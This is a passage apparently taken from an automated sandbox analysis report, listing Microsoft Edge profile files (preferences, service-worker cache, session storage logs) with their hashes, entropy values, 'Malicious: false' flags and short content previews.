SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.112725608636431
Encrypted:	false
SSDEEP:	192:stEkdpXsVhaFvrE9ke1il8xbV+Fm5/QAVJUh+PnYJ:stEQXsVhCD81bGu/QAqhP
MD5:	F08E8B2ACA62EF740323759B69662756
SHA1:	0928C0674ED771647AC332821B9CB3EB0201E893
SHA-256:	51F5FE2D8ADE31F6EF9651B02E777E1638BB4E6273A795B0D494503021A2A477
SHA-512:	81E6917F94BAF224293EAA7DA633FEEBAAD85EBE68EF8416AA8F529CEFEFED7BEEB3F9AF5610B50122DB9A4A2CBCEB6DCDE55836C8BDF8D49E54069727796CAB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40da8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.112725608636431
Encrypted:	false
SSDEEP:	192:stEkdpXsVhaFvrE9ke1il8xbV+Fm5/QAVJUh+PnYJ:stEQXsVhCD81bGu/QAqhP
MD5:	F08E8B2ACA62EF740323759B69662756
SHA1:	0928C0674ED771647AC332821B9CB3EB0201E893
SHA-256:	51F5FE2D8ADE31F6EF9651B02E777E1638BB4E6273A795B0D494503021A2A477
SHA-512:	81E6917F94BAF224293EAA7DA633FEEBAAD85EBE68EF8416AA8F529CEFEFED7BEEB3F9AF5610B50122DB9A4A2CBCEB6DCDE55836C8BDF8D49E54069727796CAB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43748.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.112725608636431
Encrypted:	false
SSDEEP:	192:stEkdpXsVhaFvrE9ke1il8xbV+Fm5/QAVJUh+PnYJ:stEQXsVhCD81bGu/QAqhP
MD5:	F08E8B2ACA62EF740323759B69662756
SHA1:	0928C0674ED771647AC332821B9CB3EB0201E893
SHA-256:	51F5FE2D8ADE31F6EF9651B02E777E1638BB4E6273A795B0D494503021A2A477
SHA-512:	81E6917F94BAF224293EAA7DA633FEEBAAD85EBE68EF8416AA8F529CEFEFED7BEEB3F9AF5610B50122DB9A4A2CBCEB6DCDE55836C8BDF8D49E54069727796CAB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF46899.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.112725608636431
Encrypted:	false
SSDEEP:	192:stEkdpXsVhaFvrE9ke1il8xbV+Fm5/QAVJUh+PnYJ:stEQXsVhCD81bGu/QAqhP
MD5:	F08E8B2ACA62EF740323759B69662756
SHA1:	0928C0674ED771647AC332821B9CB3EB0201E893
SHA-256:	51F5FE2D8ADE31F6EF9651B02E777E1638BB4E6273A795B0D494503021A2A477
SHA-512:	81E6917F94BAF224293EAA7DA633FEEBAAD85EBE68EF8416AA8F529CEFEFED7BEEB3F9AF5610B50122DB9A4A2CBCEB6DCDE55836C8BDF8D49E54069727796CAB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4c5fc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.112725608636431
Encrypted:	false
SSDEEP:	192:stEkdpXsVhaFvrE9ke1il8xbV+Fm5/QAVJUh+PnYJ:stEQXsVhCD81bGu/QAqhP
MD5:	F08E8B2ACA62EF740323759B69662756
SHA1:	0928C0674ED771647AC332821B9CB3EB0201E893
SHA-256:	51F5FE2D8ADE31F6EF9651B02E777E1638BB4E6273A795B0D494503021A2A477
SHA-512:	81E6917F94BAF224293EAA7DA633FEEBAAD85EBE68EF8416AA8F529CEFEFED7BEEB3F9AF5610B50122DB9A4A2CBCEB6DCDE55836C8BDF8D49E54069727796CAB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567588127636253
Encrypted:	false
SSDEEP:	768:TLCwvSW00W5wXTf4bi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP/fIYF+OrwX17p4tW:TuaSJ0WaXTf2iu1jayRULFetW
MD5:	76185FFCD400B2C89C3B50A26FCF5D9B
SHA1:	CED365BA32F70A8E7A739B288E7755F5EE24F895
SHA-256:	69CFA9308B333140BE32221B3F7464E836ADC66BC89D6DD65134B908F1C1E477
SHA-512:	16C5CDBF49AF6486F094BEDFA103A6A80EE235F89A8A319C8C08B895AF2AF04B6D1CD9EE41D7718D11303F0CBFA23EA50B08673B71C41007EF0EBDCC550AD212
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376823401354471","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376823401354471","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF40490.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567588127636253
Encrypted:	false
SSDEEP:	768:TLCwvSW00W5wXTf4bi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP/fIYF+OrwX17p4tW:TuaSJ0WaXTf2iu1jayRULFetW
MD5:	76185FFCD400B2C89C3B50A26FCF5D9B
SHA1:	CED365BA32F70A8E7A739B288E7755F5EE24F895
SHA-256:	69CFA9308B333140BE32221B3F7464E836ADC66BC89D6DD65134B908F1C1E477
SHA-512:	16C5CDBF49AF6486F094BEDFA103A6A80EE235F89A8A319C8C08B895AF2AF04B6D1CD9EE41D7718D11303F0CBFA23EA50B08673B71C41007EF0EBDCC550AD212
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376823401354471","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376823401354471","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.825574848383411
Encrypted:	false
SSDEEP:	24:F2xc5NmbDcncmo0CRORpllg2DUfRHiVdCRORpllg2Sc03osxdTKCRORpllg2D3RS:F2embstrdDUfBcXrdYx8rdD3B/rdoB5
MD5:	10B80F9E1A0BC53B63EC47CD8DF4810F
SHA1:	0BBE089792E4FE080C950AF475C035FC4F427AAC
SHA-256:	8EC0D797E4D9FAE000AB9DAFE08AE206CE1FD0A61D40823F7E3BE8425550FBE1
SHA-512:	4014720A0C7BA9295D392C8597BFD8E6E2FC848D98B7E0DD9A834D16707FBE1FFEE89080864FE954DABE9EBEE2AF983E9F5B77CE8EB147C773835A2943D40501
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2B..?m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.152670949993192
Encrypted:	false
SSDEEP:	6:HGLCZO81N723oH+TcwtE/a252KLlVGLCfCY7WM+q2PN723oH+TcwtE/a2ZIFUv:UWaYeb8xLce9L+vVaYeb8J2FUv
MD5:	258A087DF119045BB78826CF85009108
SHA1:	84D3A07CC643AD7E90B95FF73F2C3F616A95BB29
SHA-256:	F8B12B06FB1A602CC9AF4BCB05F84CEBA8085E3138A2A795996F4AFF8DCA642C
SHA-512:	CA9B1788FC7C9BBDA7D979A20E29840E7557A8BFDF89488F9AB2C02D6505EB44BD8DAE80D3058C6E529E61ECC09BE400FC918F4999CF854779C1951188012C8C
Malicious:	false
Preview:	2024/11/23-03:16:59.942 1d1c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/23-03:16:59.953 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114380
Entropy (8bit):	5.576392692153266
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgHCng:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFj
MD5:	9F26913C394633D4A998D944F14C8CE7
SHA1:	EC59329C6CB3F29FB6E4BF66DD33BA3A3754063E
SHA-256:	20E71D73CCCF1723FC11FF185C3788A53FFEA8B6F512A2C49F7E5CEC98FDBE1C
SHA-512:	A5597CE4144D3E5F3F0269E8C4A4236BEA0BB476D9B2012525075DC291F446C99AE6E2D3D844D25C0803A5FB5F3C6D655998E1E7590342FCF8AC5DFB4AFACB1F
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.385143331235867
Encrypted:	false
SSDEEP:	3072:a7aBzkSgS7lwUFwU8XL/NOMnbEY7BhUUvHBM3:3vlw/UUL/s8X7rvhc
MD5:	D7D17F4C2BED7FDA1C4DE9F3327A2133
SHA1:	C7F6C64FD88D30C636832398F6B09BE1B1BFD23B
SHA-256:	C992939B534C692C1B434E235B78E87688D5C4FAFED14156B2EE8C5EE941614A
SHA-512:	87531054201D05A32FD51BEFD924A934ADCCA85D644036F6B84B4FC17D198EE31E379C4BC3FBAB4FF8D9CCB9236E5E8651BE316CF0DF71E6A72D3465629648F0
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTx........,T.8..`,.....L`.....,T...`......L`......Rc.`.'....exports...Rcr..&....module....Rc.9......define....Rb........amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.BP1.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:PX6c9Xl/ly/l9/lxEYa/l/CRC:iCmOvaQ
MD5:	1FCDE5D5712F967D62D84B1F3E9A07F9
SHA1:	B822FB765310B2B726463B83E3AFEBF38F8B3DEB
SHA-256:	08642E7F8C7BD29C9C95A1AE59A17F18E2EFD2181E83D4092E678871A6C53FE6
SHA-512:	C818A5E56E731595798F00FF40C164872D170DBF1FA55209EF9107D5BE326DE85E0632700775502F374472D598B524408CF50CBFAFFAC2B3F064A2B8604BB0F2
Malicious:	false
Preview:	@...:.<.oy retne.........................X....,..................9h&./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:PX6c9Xl/ly/l9/lxEYa/l/CRC:iCmOvaQ
MD5:	1FCDE5D5712F967D62D84B1F3E9A07F9
SHA1:	B822FB765310B2B726463B83E3AFEBF38F8B3DEB
SHA-256:	08642E7F8C7BD29C9C95A1AE59A17F18E2EFD2181E83D4092E678871A6C53FE6
SHA-512:	C818A5E56E731595798F00FF40C164872D170DBF1FA55209EF9107D5BE326DE85E0632700775502F374472D598B524408CF50CBFAFFAC2B3F064A2B8604BB0F2
Malicious:	false
Preview:	@...:.<.oy retne.........................X....,..................9h&./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44f16.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:PX6c9Xl/ly/l9/lxEYa/l/CRC:iCmOvaQ
MD5:	1FCDE5D5712F967D62D84B1F3E9A07F9
SHA1:	B822FB765310B2B726463B83E3AFEBF38F8B3DEB
SHA-256:	08642E7F8C7BD29C9C95A1AE59A17F18E2EFD2181E83D4092E678871A6C53FE6
SHA-512:	C818A5E56E731595798F00FF40C164872D170DBF1FA55209EF9107D5BE326DE85E0632700775502F374472D598B524408CF50CBFAFFAC2B3F064A2B8604BB0F2
Malicious:	false
Preview:	@...:.<.oy retne.........................X....,..................9h&./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6423
Entropy (8bit):	3.3835180368962465
Encrypted:	false
SSDEEP:	192:eBFRg6n7Xhkf9Xp+LKKi35SLl9iSrYpZLPZ:eDRDLhkf9Xp+165SLl9iSr8Zb
MD5:	87470AC53DD8FA2E541C3B6596695600
SHA1:	FFD14364860D29AAC8EB7A54B813D821CBAE1F3F
SHA-256:	2B9276E961DF8075E3CCB3FA8688FC9B7A81B5ACAC772B8BB27F766422E53165
SHA-512:	8B008F32911B2728E5C59E986F62026B795124067CC52ECCB5E56D06CB9187A121E8FD14BA0571C27A40D0A1DB4FAEFBB1D3FA39974625DC952F7724BF5743AC
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................UTlb................next-map-id.1.Cnamespace-5f74b38b_f341_4855_bf41_30c352858e73-https://ntp.msn.com/.0V.e................V.e................V.e.................Wl&.................map-0-shd_sweeper./{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.a.d.s.-.f.l.r.m.g.p.-.n.o.i.s.e.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.3.e.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.g.-.1.s.w.-.s.a.-.l.v.f.w.o.r.t.h.c.c.,.p.r.g.-.1.s.w.-.c.t.r.l.-.c.r.b.n.d.l.,.p.r.g.-.1.s.w.-.c.-.c.r.b.n.d.l.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.-.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.d.i.d.2.a.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.0450445576345935
Encrypted:	false
SSDEEP:	6:HGLCeSVq2PN723oH+TcwtrQMxIFUt8YGLCFgZmw+YGLCYXKIkwON723oH+Tcwtrb:UDSVvVaYebCFUt8Zag/+ZpKI5OaYebtJ
MD5:	B14889C97C1958D8E5D389C151BDD56F
SHA1:	571B19A5C99EA245E1E6C8488A2F76C550D180B5
SHA-256:	E7E08691CC02D8557ECA09ECC41432EB8EE6DB00C4F0F28F5EDB780CCA498E88
SHA-512:	D76E002BD65F05640CB2E4FD2114F5F1255068BDA6D1C6C6FFC3A22236F993F7CD8F54A5DB5A4845F608ED9CC3167BF92B70B908D857E6FD1D9CC60CD287567C
Malicious:	false
Preview:	2024/11/23-03:16:42.046 1200 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-03:16:42.051 1200 Recovering log #3.2024/11/23-03:16:42.123 1200 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.0450445576345935
Encrypted:	false
SSDEEP:	6:HGLCeSVq2PN723oH+TcwtrQMxIFUt8YGLCFgZmw+YGLCYXKIkwON723oH+Tcwtrb:UDSVvVaYebCFUt8Zag/+ZpKI5OaYebtJ
MD5:	B14889C97C1958D8E5D389C151BDD56F
SHA1:	571B19A5C99EA245E1E6C8488A2F76C550D180B5
SHA-256:	E7E08691CC02D8557ECA09ECC41432EB8EE6DB00C4F0F28F5EDB780CCA498E88
